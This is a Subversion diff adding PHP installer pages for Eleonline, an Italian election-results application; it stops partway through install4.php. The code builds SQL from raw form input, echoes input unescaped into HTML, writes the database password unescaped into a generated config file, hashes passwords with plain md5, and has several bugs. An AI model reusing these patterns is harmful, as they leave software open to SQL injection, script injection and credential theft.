+	  		<div id="step">passo 2</div>
+  			<div class="clr"></div>
+
+  			<h1>Risultato inserimento database <?php echo "<font color=\"#ff0000\">$DBname</font> su <font color=\"#ff0000\">$DBhostname</font>"; ?> :</h1>
+			<div class="install-text">
+<?php if ($isErr) { ?>
+			Sembra che ci siano errori con l'inserimento dei dati nel tuo database!<br />
+  			Non puoi continuare.
+			</div>
+			<div class="install-form">
+			    <div class="form-block">
+  				<table class="content2">
+		<?php			
+			echo '<tr><td colspan="2">';
+				echo '<b></b>';
+				echo "<br/><br />Error log:<br />\n";
+				// abrupt failure
+				echo '<textarea rows="10" cols="50">';
+				foreach($errors as $error) {
+					echo "SQL=$error[0]:\n- - - - - - - - - -\n$error[1]\n= = = = = = = = = =\n\n";
+				}
+				echo '</textarea>';
+				echo "</td></tr>\n";		
+		?>		
+			        </table>
+			     </div>
+			</div>
+				
+<?php } else { ?>
+
+
+			TUTTO OK!
+			<br/>
+			<br/>
+			</div>
+			<div class="install-form">
+			  <div class="clr"></div>
+			</div>
+			
+
+			
+  			
+
+  		
+		
+		
+		<div class="clr"></div>
+		
+		<h1>Inserisci i dati di configurazione del sito:</h1>
+			<div class="install-text">
+			
+			Inserisci il nome del tuo sito. In genere viene usato il nome del Comune.
+			</div>
+  		<div class="install-form">
+  			<div class="form-block">
+  				<table class="content2">
+
+  				<tr>
+  					<td width="100">Nome del sito</td>
+  					<td align="left"><input class="inputbox" type="text" name="sitename" size="40" value="<?php echo "{$configArray['sitename']}"; ?>" /></td>
+					<td></td>
+  				</tr>
+  				<tr>
+  					<td width="100">Nome del Comune</td>
+  					<td align="left"><input class="inputbox" type="text" name="nomecomune" size="40" value="<?php echo "{$configArray['nomecomune']}"; ?>" /></td>
+					<td></td>
+  				</tr>
+
+				<tr>
+  					<td width="100">Numero Istat</td>
+  					<td align="left"><input class="inputbox" type="text" name="istat" size="6" value="<?php echo "{$configArray['istat']}"; ?>" />
+					<a href="http://www.istat.it/strumenti/definizioni/comuni/" target="_blank">Preleva i codici Istat dei comuni italiani</a>
+					</td><td></td>
+  				</tr>
+				<tr>
+					  <td width="150"><em>Fascia abitanti</em>			  			</td><td>
+							<select name="Limite">
+							<option value="1" selected>fino a 3.000 ab.</option>
+							<option value="2">fino a 10.000 ab.</option>
+							<option value="3">fino a 15.000 ab.</option>
+							<option value="4">fino a 30.000 ab.</option>
+							<option value="5">fino a 100.000 ab.</option>
+							<option value="6">fino a 250.000 ab.</option>
+							<option value="7">fino a 500.000 ab.</option>
+							<option value="8">fino a 1.000.000 ab.</option>
+							<option value="9">sopra il 1.000.000 ab.</option>
+							</select>
+					  </td>
+			  			
+  				</tr>	
+
+
+
+				
+				</table>
+  				<table class="content2">
+				
+
+
+
+
+				<tr>
+			  			<td width="70">Capoluogo</td><td width="70">
+			  				<input type="checkbox" name="Capoluogo" id="Capoluogo" value="1" <?php if ($Capoluogo) echo 'checked="checked"'; ?> />
+			  			</td>
+						<td>Check se il comune e' Capoluogo di Provincia</td>
+  						
+			  	</tr>
+				<tr>
+					  <td width="70">Linguaggio </td><td width="70">
+							<select name="Lingua"><option value="it" selected>italiano</option><option value="en">english</option></select>
+					  </td>
+					  <td>Lingua di default del sito</td>
+			  			
+  				</tr>
+				<tr>
+			  			<td width="70">Multicomune </td><td width="70">
+			  				<input type="checkbox" name="Multicomune" id="Multicomune" value="1" <?php if ($Multicomune) echo 'checked="checked"'; ?> />
+			  			</td>
+						<td>Check se il sito ospita piu' di un comune</td>
+  						
+			  	</tr>
+				<tr>
+			  			<td width="70">Replica Db </td><td width="70">
+			  				<input type="checkbox" name="Replica" id="Replica" value="1" <?php if ($Replica) echo 'checked="checked"'; ?> />
+			  			</td>
+						<td>Check in caso di replica del database. Se sullo stesso server lasciare libero</td>
+  						
+			  		</tr>
+
+			
+
+
+
+</table>
+
+  			</div>
+  		</div>
+  		<div class="clr"></div>
+		<div class="clr"></div>
+	<h1>Configurazione del Tema:</h1>
+			<div class="install-text">
+  				<p>La visualizzazione dei risultati puo' essere configurata in maniera da scegliere il 
+				tema e altro ancora.
+				<br><br>
+				
+					  Potete comunque sempre cambiare le opzioni successivamete agendo sul file config.php<br/>
+				</p>
+  			</div>
+			<div class="install-form">
+  				<div class="form-block">
+  		 			
+					<br/>
+					<table class="content2">
+  		  			<tr>
+  						<td></td>
+  						<td></td>
+  						<td></td>
+  					</tr>
+					
+			  		
+  		  			
+					<tr>
+  					<td width="150">Scelta del tema</td>
+  					<td><select name='tema'>
+					<?php
+					$handle=opendir('../client/temi');
+					while ($file = readdir($handle)) {
+					  if ( (!preg_match('/[.]/',$file)) ) {
+					    $themelist .= "$file ";
+					  }
+					}
+					closedir($handle);
+					$themelist = explode(" ", $themelist);
+					sort($themelist);
+					for ($i=0; $i < sizeof($themelist); $i++) {
+					      if(!empty($themelist[$i])) {
+						  echo "<option name='tema' value='$themelist[$i]' ";
+						  if($themelist[$i]=="default") echo "selected";
+						  echo ">$themelist[$i]\n";
+					      }
+					}
+				      echo "</select>";
+				      ?>
+				    </td>
+					
+					</tr>
+		  		 	</table>
+					<br/>
+					<table class="content2">
+  		  			<tr>
+  						<td></td>
+  						<td></td>
+  						<td></td>
+  					</tr>
+					
+			  		
+  		  			
+					<tr><td width="150">Visualizza menu per la scelta del tema</td>
+							
+					
+					<td>
+					  <select name="sceltatema"><option value="1" selected>SI</option><option value="0">NO</option></select></td><td>Permette di far scegliere all'utente che naviga sul sito il tipo di grafica
+					  
+					  
+					  </td>
+					
+  					</tr>
+		  		 	</table>
+					<br/>
+					<table class="content2">
+  		  			<tr>
+  						<td></td>
+  						<td></td>
+  						<td></td>
+  					</tr>
+					
+			  		
+  		  			
+					<tr><td width="150">Visualizza blocco laterale?</td><td>
+					  <select name="blocco"><option value="1" selected>SI</option><option value="0">NO</option></select></td>
+					  <td>Il blocco laterale destro puo' contenere dati e link </td>
+					
+  					</tr>
+		  		 	</table>
+					<br/>
+					<table class="content2">
+  		  			<tr>
+  						<td></td>
+  						<td></td>
+  						<td></td>
+  					</tr>
+					
+			  		
+  		  			
+					<tr><td width="150">Abilita il formato Flash?</td><td>
+					  <select name="flash"><option value="1" selected>SI</option><option value="0">NO</option></select></td>
+					  <td>L'abilitazione del Flash permette di avere grafici in movimento. Se disabilitato e grafici saranno statici</td>
+					
+  					</tr>
+		  		 	</table>
+					
+					
+					
+					
+					
+		</div></div></div>
+		
+		
+	  		
+			
+			
+			
+			
+			
+			
+			
+			
+			  			<div class="clr"></div>
+	  		
+	
+	<div class="clr"></div>
+	</form>
+
+<?php } // fine if ?> 
+
+</div>
+<div class="clr"></div>
+<div class="clr"></div>
+<?php include("footer.php"); ?>
+
+</body>
+</html>
Index: /trunk/elezioni/trunk/install/install3.php
===================================================================
--- /trunk/elezioni/trunk/install/install3.php	(revision 44)
+++ /trunk/elezioni/trunk/install/install3.php	(revision 44)
@@ -0,0 +1,223 @@
+<?php
+
+/************************************************************************/
+/* Eleonline                                                            */
+/* ============================================                         */
+/*  Installer was based on Joomla Installer                             */
+/************************************************************************/
+
+
+/** Include common.php */
+require_once( 'common.php' );
+
+$DBhostname = mosGetParam( $_POST, 'DBhostname', '' );
+$DBuserName = mosGetParam( $_POST, 'DBuserName', '' );
+$DBpassword = mosGetParam( $_POST, 'DBpassword', '' );
+$DBname  	= mosGetParam( $_POST, 'DBname', '' );
+$DBPrefix  	= mosGetParam( $_POST, 'DBPrefix', 'soraldo' );
+$sitename =  mosGetParam( $_POST, 'sitename', '' ) ;
+$nomecomune = mosGetParam( $_POST, 'nomecomune', '' ) ;
+$istat =  mosGetParam( $_POST, 'istat', '' ) ;
+$Capoluogo = mosGetParam( $_POST, 'Capoluogo', '' );
+$Lingua = mosGetParam( $_POST, 'Lingua', '' );
+$Multicomune = mosGetParam( $_POST, 'Multicomune', '' );
+$Replica = mosGetParam( $_POST, 'Replica', '' );
+
+//tema
+$tema = mosGetParam( $_POST, 'tema', '' );
+$sceltatema = mosGetParam( $_POST, 'sceltatema', '' );
+$blocco = mosGetParam( $_POST, 'blocco', '' );
+$flash = mosGetParam( $_POST, 'flash', '' );
+// d'hondt
+
+$Limite = mosGetParam( $_POST, 'Limite', '' );
+
+$adminName = mosGetParam( $_POST, 'adminName', '');
+$adminEmail = mosGetParam( $_POST, 'adminEmail', '');
+$CreateUSer = intval( mosGetParam( $_POST, 'CreateUSer', 1 ) );
+$configArray['siteUrl'] = trim( mosGetParam( $_POST, 'siteUrl', '' ) );
+$configArray['absolutePath'] = trim( mosGetParam( $_POST, 'absolutePath', '' ) );
+if (get_magic_quotes_gpc()) {
+	$configArray['absolutePath'] = stripslashes(stripslashes($configArray['absolutePath']));
+	$sitename = stripslashes(stripslashes($sitename));
+}
+
+
+
+
+
+if ($sitename == '') {
+	echo "<form name=\"stepBack\" method=\"post\" action=\"install2.php\">
+			<input type=\"hidden\" name=\"DBhostname\" value=\"$DBhostname\">
+			<input type=\"hidden\" name=\"DBuserName\" value=\"$DBuserName\">
+			<input type=\"hidden\" name=\"DBpassword\" value=\"$DBpassword\">
+			<input type=\"hidden\" name=\"DBname\" value=\"$DBname\">
+			<input type=\"hidden\" name=\"DBPrefix\" value=\"$DBPrefix\">
+			<input type=\"hidden\" name=\"DBcreated\" value=1>
+			
+		</form>";
+
+	echo "<script>alert('Il nome del sito non e' stato inserito'); document.stepBack.submit();</script>";
+	return;
+}
+
+echo "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?".">";
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title>PHP-Nuke Installer</title>
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
+<link rel="stylesheet" href="install.css" type="text/css" />
+<script type="text/javascript">
+<!--
+function check() {
+	// form validation check
+	var formValid = true;
+	var f = document.form;
+	if ( f.adminName.value == '' ) {
+		alert('Prego inserisci un nome per il tuo amministratore');
+		f.siteUrl.focus();
+		formValid = false;
+	} else if ( f.siteUrl.value == '' ) {
+		alert('Prego inserisci un URL corretto per il tuo sito');
+		f.siteUrl.focus();
+		formValid = false;
+	} else if ( f.absolutePath.value == '' ) {
+		alert('Prego inserisci la path assoluta del tuo sito');
+		f.absolutePath.focus();
+		formValid = false;
+	} else if ( f.adminEmail.value == '' ) {
+		alert('Prego inserisci un indirizzo email per contattare il tuo amministratore');
+		f.adminEmail.focus();
+		formValid = false;
+	} else if ( f.adminPassword.value == '' ) {
+		alert('Prego inserisci una password per il tuo amministratore');
+		f.adminPassword.focus();
+		formValid = false;
+	}
+
+	return formValid;
+}
+
+//-->
+</script>
+</head>
+<body onload="document.form.siteUrl.focus();">
+<div id="wrapper">
+	<div id="header">
+		<div id="eleonline"><img src="header_install.png" alt="Installazione Eleonline" title="Installazione Eleonline" /></div>
+	</div>
+</div>
+
+<div id="ctr" align="center">
+	<form action="install4.php" method="post" name="form" id="form" onsubmit="return check();">
+	<input type="hidden" name="DBhostname" value="<?php echo "$DBhostname"; ?>" />
+	<input type="hidden" name="DBuserName" value="<?php echo "$DBuserName"; ?>" />
+	<input type="hidden" name="DBpassword" value="<?php echo "$DBpassword"; ?>" />
+	<input type="hidden" name="DBname" value="<?php echo "$DBname"; ?>" />
+	<input type="hidden" name="DBPrefix" value="<?php echo "$DBPrefix"; ?>" />
+	
+	<input type="hidden" name="sitename" value="<?php echo "$sitename"; ?>" />
+	<input type="hidden" name="nomecomune" value="<?php echo "$nomecomune"; ?>" />
+	<input type="hidden" name="istat" value="<?php echo "$istat"; ?>" />
+	<input type="hidden" name="Capoluogo" value="<?php echo "$Capoluogo"; ?>" />
+	<input type="hidden" name="Lingua" value="<?php echo "$Lingua"; ?>" />
+	<input type="hidden" name="Multicomune" value="<?php echo "$Multicomune"; ?>" />
+	<input type="hidden" name="Replica" value="<?php echo "$Replica"; ?>" />
+	
+	<input type="hidden" name="tema" value="<?php echo "$tema"; ?>" />
+	<input type="hidden" name="sceltatema" value="<?php echo "$sceltatema"; ?>" />
+	<input type="hidden" name="blocco" value="<?php echo "$blocco"; ?>" />
+	<input type="hidden" name="flash" value="<?php echo "$flash"; ?>" />
+	
+	
+	<input type="hidden" name="Limite" value="<?php echo "$Limite"; ?>" />
+	
+	
+	
+	<div class="install">
+		<div id="stepbar">
+			<div class="step-off">inizio</div>
+			<div class="step-off">licenza</div>
+			<div class="step-off">passo 1</div>
+			<div class="step-off">passo 2</div>
+			<div class="step-on">passo 3</div>
+			<div class="step-off">passo 4</div>
+		</div>
+		<div id="right">
+			<div id="step">passo 3</div>
+			<div class="far-right">
+				<input class="button" type="submit" name="next" value="Avanti >>"/>
+			</div>
+			<div class="clr"></div>
+			<h1>Creazione Amministratore Super User</h1>
+			<div class="install-text">
+				
+				<p>Il Super User o Admin ID di default e' <b>suser</b> Puoi cambiarlo da questo form<br /><br />
+				   Inserisci il tuo indirizzo email, che sara' l'indirizzo email dell'amministratore del sito.<br /><br />
+				   Inserisci la tua password (il sistema genera una password casuale). 
+				  </p>
+			</div>
+			<div class="install-form">
+				<div class="form-block">
+					<table class="content2">
+					<tr>
+						<td nowarp>Admin ID:</td>
+						<td align="center"><input class="inputbox" type="text" name="adminName" value="<?php echo "$adminName"; ?>" size="40" /></td>
+<?php
+	$abspath = "";
+	if ($configArray['absolutePath'])
+		$abspath = $configArray['absolutePath'];
+	else {
+		$path = getcwd();
+		if (preg_match("/\/install/i", "$path"))
+			$abspath = str_replace('/install',"",$path);
+		else
+			$abspath = str_replace('\install',"",$path);
+	}
+?>
+					<input type="hidden" name="absolutePath" value="<?php echo $abspath; ?>" /></td>
+					</tr>
+<?php
+	$url = "";
+	if ($configArray['siteUrl'])
+		$url = $configArray['siteUrl'];
+	else {
+		$port = ( $_SERVER['SERVER_PORT'] == 80 ) ? '' : ":".$_SERVER['SERVER_PORT'];
+		$root = $_SERVER['SERVER_NAME'].$port.$_SERVER['PHP_SELF'];
+		$root = str_replace("install/","",$root);
+		$root = str_replace("/install3.php","",$root);
+		$url = "http://".$root."/client";
+	}
+?>
+					<tr>
+						<td nowarp>URL del sito:</td>
+					<td align="center"><input class="inputbox" type="text" name="siteUrl" value="<?php echo $url; ?>" size="40" /></td>
+					</tr>
+					<tr>
+						<td nowarp>Tua E-mail:</td>
+						<td align="center"><input class="inputbox" type="text" name="adminEmail" value="<?php echo "$adminEmail"; ?>" size="40" /></td>
+					</tr>
+					<tr>
+						<td nowarp>Admin password:</td>
+						<td align="center"><input class="inputbox" type="text" name="adminPassword" value="<?php echo mosMakePassword(8); ?>" size="40"/>
+						</td>
+					</tr>
+					
+					
+					
+					</table>
+					<p></p>
+				</div>
+			</div>
+			<div id="break"></div>
+		</div>
+		<div class="clr"></div>
+	</div>
+	</form>
+</div>
+<div class="clr"></div>
+<?php include("footer.php"); ?>
+</body>
+</html>
Index: /trunk/elezioni/trunk/install/install4.php
===================================================================
--- /trunk/elezioni/trunk/install/install4.php	(revision 44)
+++ /trunk/elezioni/trunk/install/install4.php	(revision 44)
@@ -0,0 +1,476 @@
+<?php
+
+/************************************************************************/
+/* Eleonline                                                            */
+/* ============================================                         */
+/*  Installer was based on Joomla Installer                             */
+/************************************************************************/
+
+error_reporting (E_ALL); 
+
+// Set flag that this is a parent file
+define( "_VALID_MOS", 1 );
+
+// Include common.php
+require_once( 'common.php' );
+require_once( './includes/database.php' );
+
+$DBhostname = mosGetParam( $_POST, 'DBhostname', '' );
+$DBuserName = mosGetParam( $_POST, 'DBuserName', '' );
+$DBpassword = mosGetParam( $_POST, 'DBpassword', '' );
+$DBname  	= mosGetParam( $_POST, 'DBname', '' );
+$DBPrefix  	= mosGetParam( $_POST, 'DBPrefix', 'soraldo' );
+
+$sitename  	= mosGetParam( $_POST, 'sitename', '' );
+$nomecomune = mosGetParam( $_POST, 'nomecomune', '' ) ;
+$istat =  mosGetParam( $_POST, 'istat', '' ) ;
+$Capoluogo = mosGetParam( $_POST, 'Capoluogo', '' );
+$Lingua = mosGetParam( $_POST, 'Lingua', '' );
+$Multicomune = mosGetParam( $_POST, 'Multicomune', '' );
+$Replica = mosGetParam( $_POST, 'Replica', '' );
+
+//tema
+$tema = mosGetParam( $_POST, 'tema', '' );
+$sceltatema = mosGetParam( $_POST, 'sceltatema', '' );
+$blocco = mosGetParam( $_POST, 'blocco', '' );
+$flash = mosGetParam( $_POST, 'flash', '' );
+// d'hondt
+
+$Limite = mosGetParam( $_POST, 'Limite', '' );
+
+
+$adminName = mosGetParam( $_POST, 'adminName', '');
+$adminEmail = mosGetParam( $_POST, 'adminEmail', '');
+$CreateUSer = intval( mosGetParam( $_POST, 'CreateUSer', '' ) );
+$siteUrl  	= mosGetParam( $_POST, 'siteUrl', '' );
+$absolutePath = mosGetParam( $_POST, 'absolutePath', '' );
+$adminPassword = mosGetParam( $_POST, 'adminPassword', '');
+
+if ((trim($adminEmail== "")) || (preg_match("/[\w\.\-]+@\w+[\w\.\-]*?\.\w{1,4}/", $adminEmail )==false)) {
+
+	echo "<form name=\"stepBack\" method=\"post\" action=\"install3.php\">
+		<input type=\"hidden\" name=\"DBhostname\" value=\"$DBhostname\" />
+		<input type=\"hidden\" name=\"DBuserName\" value=\"$DBuserName\" />
+		<input type=\"hidden\" name=\"DBpassword\" value=\"$DBpassword\" />
+		<input type=\"hidden\" name=\"DBname\" value=\"$DBname\" />
+		<input type=\"hidden\" name=\"DBPrefix\" value=\"$DBPrefix\" />	
+	
+		<input type=\"hidden\" name=\"DBcreated\" value=\"1\" />
+		<input type=\"hidden\" name=\"sitename\" value=\"$sitename\" />";
+
+
+	echo "	<input type=\"hidden\" name=\"nomecomune\" value=\"$nomecomune\" />
+		<input type=\"hidden\" name=\"istat\" value=\"$istat\"/>
+		<input type=\"hidden\" name=\"Capoluogo\" value= \"$Capoluogo\" />
+		<input type=\"hidden\" name=\"Lingua\" value= \"$Lingua\" />
+		<input type=\"hidden\" name=\"Multicomune\" value=\"$Multicomune\" />
+		<input type=\"hidden\" name=\"Replica\" value=\"$Replica\" />
+		
+		<input type=\"hidden\" name=\"tema\" value=\"$tema\" />
+		<input type=\"hidden\" name=\"sceltatema\" value=\"$sceltatema\" />
+		<input type=\"hidden\" name=\"blocco\" value=\"$blocco\" />
+		<input type=\"hidden\" name=\"flash\" value= \"$flash\" />
+		
+		
+		<input type=\"hidden\" name=\"Limite\" value=\"$Linite\" />";
+		
+				
+		echo "Indirizzo Email non valido";
+		
+		
+	echo "	<input type=\"hidden\" name=\"adminName\" value=\"$adminName\" />
+		<input type=\"hidden\" name=\"adminEmail\" value=\"$adminEmail\" />
+		
+		<input type=\"hidden\" name=\"siteUrl\" value=\"$siteUrl\" />
+		<input type=\"hidden\" name=\"absolutePath\" value=\"$absolutePath\" />
+		</form>";
+	echo "<script>alert('Devi inserire un indirizzo email valido.'); document.stepBack.submit(); </script>";
+	return;
+}
+
+if($DBhostname && $DBuserName && $DBname) {
+	$configArray['DBhostname']	= $DBhostname;
+	$configArray['DBuserName']	= $DBuserName;
+	$configArray['DBpassword']	= $DBpassword;
+	$configArray['DBname']	 	= $DBname;
+	$configArray['DBPrefix']	= $DBPrefix;
+} else {
+	echo "<form name=\"stepBack\" method=\"post\" action=\"install3.php\">
+		<input type=\"hidden\" name=\"DBhostname\" value=\"$DBhostname\" />
+		<input type=\"hidden\" name=\"DBuserName\" value=\"$DBuserName\" />
+		<input type=\"hidden\" name=\"DBpassword\" value=\"$DBpassword\" />
+		<input type=\"hidden\" name=\"DBname\" value=\"$DBname\" />
+		<input type=\"hidden\" name=\"DBPrefix\" value=\"$DBPrefix\" />
+		
+		<input type=\"hidden\" name=\"DBcreated\" value=\"1\" />
+		<input type=\"hidden\" name=\"sitename\" value=\"$sitename\" />";
+		
+	echo '	<input type="hidden" name="nomecomune" value="<?php echo "$nomecomune"; ?>" />
+		<input type="hidden" name="istat" value="<?php echo "$istat"; ?>" />
+		<input type="hidden" name="Capoluogo" value="<?php echo "$Capoluogo"; ?>" />
+		<input type="hidden" name="Lingua" value="<?php echo "$Lingua"; ?>" />
+		<input type="hidden" name="Multicomune" value="<?php echo "$Multicomune"; ?>" />
+		<input type="hidden" name="Replica" value="<?php echo "$Replica"; ?>" />
+		
+		<input type="hidden" name="tema" value="<?php echo "$tema"; ?>" />
+		<input type="hidden" name="sceltatema" value="<?php echo "$sceltatema"; ?>" />
+		<input type="hidden" name="blocco" value="<?php echo "$blocco"; ?>" />
+		<input type="hidden" name="flash" value="<?php echo "$flash"; ?>" />
+		
+		
+		<input type="hidden" name="Limite" value="<?php echo "$Linite"; ?>" />';
+		
+					
+		
+		
+		
+	echo "	<input type=\"hidden\" name=\"adminName\" value=\"$adminName\" />
+		<input type=\"hidden\" name=\"adminEmail\" value=\"$adminEmail\" />
+		
+		<input type=\"hidden\" name=\"siteUrl\" value=\"$siteUrl\" />
+		<input type=\"hidden\" name=\"absolutePath\" value=\"$absolutePath\" />
+		</form>";
+
+	echo "<script>alert('The database details provided are incorrect and/or empty'); document.stepBack.submit(); </script>";
+	return;
+}
+
+if ($sitename) {
+	if (!get_magic_quotes_gpc()) {
+		$configArray['sitename'] = addslashes($sitename);
+	} else {
+		$configArray['sitename'] = $sitename;
+	}
+} else {
+	echo "<form name=\"stepBack\" method=\"post\" action=\"install3.php\">
+		<input type=\"hidden\" name=\"DBhostname\" value=\"$DBhostname\" />
+		<input type=\"hidden\" name=\"DBuserName\" value=\"$DBuserName\" />
+		<input type=\"hidden\" name=\"DBpassword\" value=\"$DBpassword\" />
+		<input type=\"hidden\" name=\"DBname\" value=\"$DBname\" />
+		<input type=\"hidden\" name=\"DBPrefix\" value=\"$DBPrefix\" />
+		
+		<input type=\"hidden\" name=\"DBcreated\" value=\"1\" />
+		<input type=\"hidden\" name=\"sitename\" value=\"$sitename\" />";
+		
+	echo '	<input type="hidden" name="nomecomune" value="<?php echo "$nomecomune"; ?>" />
+		<input type="hidden" name="istat" value="<?php echo "$istat"; ?>" />
+		<input type="hidden" name="Lingua" value="<?php echo "$Lingua"; ?>" />
+		<input type="hidden" name="Capoluogo" value="<?php echo "$Capoluogo"; ?>" />
+		<input type="hidden" name="Multicomune" value="<?php echo "$Multicomune"; ?>" />
+		<input type="hidden" name="Replica" value="<?php echo "$Replica"; ?>" />
+		
+		<input type="hidden" name="tema" value="<?php echo "$tema"; ?>" />
+		<input type="hidden" name="sceltatema" value="<?php echo "$sceltatema"; ?>" />
+		<input type="hidden" name="blocco" value="<?php echo "$blocco"; ?>" />
+		<input type="hidden" name="flash" value="<?php echo "$flash"; ?>" />
+		
+		
+		<input type="hidden" name="Limite" value="<?php echo "$Linite"; ?>" />
+		';
+				
+		
+	echo "	<input type=\"hidden\" name=\"adminName\" value=\"$adminName\" />
+		<input type=\"hidden\" name=\"adminEmail\" value=\"$adminEmail\" />
+		
+		<input type=\"hidden\" name=\"siteUrl\" value=\"$siteUrl\" />
+		<input type=\"hidden\" name=\"absolutePath\" value=\"$absolutePath\" />
+		</form>";
+
+	echo "<script>alert('The sitename has not been provided'); document.stepBack2.submit();</script>";
+	return;
+}
+
+if (file_exists( '../client/config.php' )) {
+	$canWrite = is_writable( '../client/config.php' );
+} else {
+	$canWrite = is_writable( '../client' );
+}
+
+// admin
+if (file_exists( '../client/config.php' )) {
+	$canWrite2 = is_writable( '../admin/config.php' );
+} else {
+	$canWrite2 = is_writable( '../admin' );
+}
+
+
+
+if ($siteUrl) {
+	$configArray['siteUrl']=$siteUrl;
+	// Fix for Windows
+	$absolutePath= str_replace("\\\\","/", $absolutePath);
+	$configArray['absolutePath']=$absolutePath;
+
+
+#########################################################################
+# Config visualizzazione
+$config = "<?php\n";
+$config .= "\n";
+
+$config .= "/************************************************************************/\n";
+$config .= "/* Eleonline - Raccolta e diffusione dei dati elettorali                */\n";
+$config .= "/* by Roberto Gigli & Luciano Apolito                                   */\n";
+$config .= "/* http://www.eleonline.it                                              */\n";
+$config .= "/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */\n";
+$config .= "/************************************************************************/\n";
+$config .= "\n";
+$config .= "\n";
+$config .= "if (stristr(\"config.php\",\$_SERVER['PHP_SELF'])) {\n";
+$config .= "        Header(\"Location: index.php\");\n";
+$config .= "	die();\n";
+$config .= "}\n";
+$config .= "\n";
+$config .= "\n";
+$config .= "/* Variabili di configurazione accesso db */\n";
+$config .= "\$dbhost = \"{$configArray['DBhostname']}\";\n";
+$config .= "\$dbuname = \"{$configArray['DBuserName']}\";\n";
+$config .= "\$dbpass = \"{$configArray['DBpassword']}\";\n";
+$config .= "\$dbname = \"{$configArray['DBname']}\";\n";
+$config .= "\$prefix = \"{$configArray['DBPrefix']}\";\n";
+$config .= "\$dbtype = \"MySQL\";\n";
+
+
+
+
+$config .= "\n";
+$config .= "ini_set('display_errors',0);\n";
+$config .= "?>\n";
+
+
+#####################################################################################
+# config amministrazione
+#####################################################################################
+
+$config_adm = "<?php\n";
+$config_adm .= "\n";
+
+$config_adm .= "/************************************************************************/\n";
+$config_adm .= "/* Eleonline - Raccolta e diffusione dei dati elettorali                */\n";
+$config_adm .= "/* by Roberto Gigli & Luciano Apolito                                   */\n";
+$config_adm .= "/* http://www.eleonline.it                                              */\n";
+$config_adm .= "/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */\n";
+$config_adm .= "/************************************************************************/\n";
+$config_adm .= "\n";
+$config_adm .= "\n";
+$config_adm .= "if (stristr(\"config.php\",\$_SERVER['PHP_SELF'])) {\n";
+$config_adm .= "        Header(\"Location: index.php\");\n";
+$config_adm .= "	die();\n";
+$config_adm .= "}\n";
+$config_adm .= "\n";
+$config_adm .= "\n";
+$config_adm .= "\n";
+$config_adm .= "\$dbhost = \"{$configArray['DBhostname']}\";\n";
+$config_adm .= "\$dbuname = \"{$configArray['DBuserName']}\";\n";
+$config_adm .= "\$dbpass = \"{$configArray['DBpassword']}\";\n";
+$config_adm .= "\$dbname = \"{$configArray['DBname']}\";\n";
+$config_adm .= "\$prefix = \"{$configArray['DBPrefix']}\";\n";
+$config_adm .= "\$dbtype = \"MySQL\";\n";
+$config_adm .= "ini_set('display_errors',0);\n";
+$config_adm .= "?>\n";
+
+
+
+
+
+
+
+
+
+
+
+	if ($canWrite && ($fp = fopen("../client/config.php", "w"))) {
+		fputs( $fp, $config, strlen( $config ) );
+		fclose( $fp );
+	} else {
+		$canWrite = false;
+	}
+	
+	if ($canWrite2 && ($fp = fopen("../admin/config.php", "w"))) {
+		fputs( $fp, $config_adm, strlen( $config_adm ) );
+		fclose( $fp );
+	} else {
+		$canWrite2 = false;
+	}
+
+
+
+
+	$database = new database( $DBhostname, $DBuserName, $DBpassword, $DBname );
+	$nullDate = $database->getNullDate();
+
+	// create the admin user
+	$cryptpass = md5( $adminPassword );
+	//$query = "INSERT INTO {$configArray['DBPrefix']}_authors VALUES ('$adminName', '$adminName', '0', '$adminEmail', '$cryptpass','1','0','0','1','it')";
+	$query = "UPDATE {$configArray['DBPrefix']}_authors SET aid='$adminName', name='$adminName', email='$adminEmail', pwd= '$cryptpass' WHERE aid='suser'";
+	$database->setQuery( $query );
+	$database->query();
+	
+	// create Comune
+	
+	$query = "INSERT INTO {$configArray['DBPrefix']}_ele_comuni VALUES ('$istat', '$nomecomune', '','','','','$Limite','$Capoluogo','','','')";
+	
+	$database->setQuery( $query );
+	$database->query();
+	
+	$query = "UPDATE {$configArray['DBPrefix']}_config SET sitename='$sitename', siteurl='$siteUrl', adminmail='$adminEmail', tema='$tema', foot='',language='$Lingua',blocco='$blocco',fileout='$Replica',Versione='2.0 beta', siteistat='$istat',multicomune='$Multicomune',flash='$flash', tema_on='$sceltatema'   WHERE sitename=''";
+	
+
+	$database->setQuery( $query );
+	$database->query();
+
+
+	// touch config table
+	$date = date("F Y");
+	$query = "UPDATE {$configArray['DBPrefix']}_config SET sitename='$sitename', nukeurl='$siteUrl', startdate='$date', adminmail='$adminEmail', backend_title='$sitename', notify_email='$adminEmail'";
+	$database->setQuery( $query );
+	$database->query();
+
+} else {
+?>
+	<form action="install3.php" method="post" name="stepBack3" id="stepBack3">
+	  <input type="hidden" name="DBhostname" value="<?php echo $DBhostname;?>" />
+	  <input type="hidden" name="DBusername" value="<?php echo $DBuserName;?>" />
+	  <input type="hidden" name="DBpassword" value="<?php echo $DBpassword;?>" />
+	  <input type="hidden" name="DBname" value="<?php echo $DBname;?>" />
+	  <input type="hidden" name="DBcreated" value="1" />
+	  <input type="hidden" name="sitename" value="<?php echo $sitename;?>" />
+	  <input type="hidden" name="adminName" value="$adminName" />
+	  <input type="hidden" name="adminEmail" value="$adminEmail" />
+	  <input type="hidden" name="CreateUSer" value="$CreateUSer" />
+	  <input type="hidden" name="siteUrl" value="$siteUrl" />
+	  <input type="hidden" name="absolutePath" value="$absolutePath" />
+	  <?php 
+	  echo '<input type="hidden" name="nomecomune" value="<?php echo "$nomecomune"; ?>" />
+		<input type="hidden" name="istat" value="<?php echo "$istat"; ?>" />
+		<input type="hidden" name="Capoluogo" value="<?php echo "$Capoluogo"; ?>" />
+		<input type="hidden" name="Lingua" value="<?php echo "$Lingua"; ?>" />
+		<input type="hidden" name="Multicomune" value="<?php echo "$Multicomune"; ?>" />
+		<input type="hidden" name="Replica" value="<?php echo "$Replica"; ?>" />
+		
+		<input type="hidden" name="tema" value="<?php echo "$tema"; ?>" />
+		<input type="hidden" name="sceltatema" value="<?php echo "$sceltatema"; ?>" />
+		<input type="hidden" name="blocco" value="<?php echo "$blocco"; ?>" />
+		<input type="hidden" name="flash" value="<?php echo "$flash"; ?>" />
+		
